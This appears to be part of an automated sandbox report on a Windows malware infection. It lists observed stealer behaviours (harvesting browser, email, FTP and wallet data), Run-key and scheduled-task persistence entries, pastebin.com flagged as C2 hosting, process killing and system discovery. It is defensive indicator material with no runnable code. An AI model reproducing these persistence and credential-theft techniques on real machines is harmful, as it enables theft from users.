Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110300101\b8c0d5bea0.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110330101\2fb0d6c15e.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110340101\97cc0bd22d.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110360101\01fa363024.exe N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\01fa363024.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110360101\\01fa363024.exe" C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\b8aa1ffff1.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110370101\\b8aa1ffff1.exe" C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Anubis = "\"C:\\Users\\Admin\\AppData\\Roaming\\Local\\Caches\\0fFPRrZZ\\Anubis.exe\"" C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c195684f8d.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110350101\\c195684f8d.exe" C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A

Checks installed software on the system

discovery

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\Gxtuum.job C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe N/A
File created C:\Windows\Tasks\Test Task17.job C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
File created C:\Windows\Tasks\rapes.job C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110340101\97cc0bd22d.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110350101\c195684f8d.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110370101\b8aa1ffff1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language C:\Users\Admin\AppData\Local\Temp\10110370101\b8aa1ffff1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110330101\2fb0d6c15e.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110300101\b8c0d5bea0.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110320101\512d15c020.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage C:\Users\Admin\AppData\Local\Temp\10110370101\b8aa1ffff1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\ProgramData\reswb\jwmeimu.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110310101\514e734b05.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110320101\512d15c020.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\YCJIBH2BLUK6QXXKJ6V5T8TDZBI02IS.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110260101\Ps7WqSx.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110360101\01fa363024.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Kills process with taskkill

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133857088592514622" C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\ProgramData\reswb\jwmeimu.exe N/A
N/A N/A C:\ProgramData\reswb\jwmeimu.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
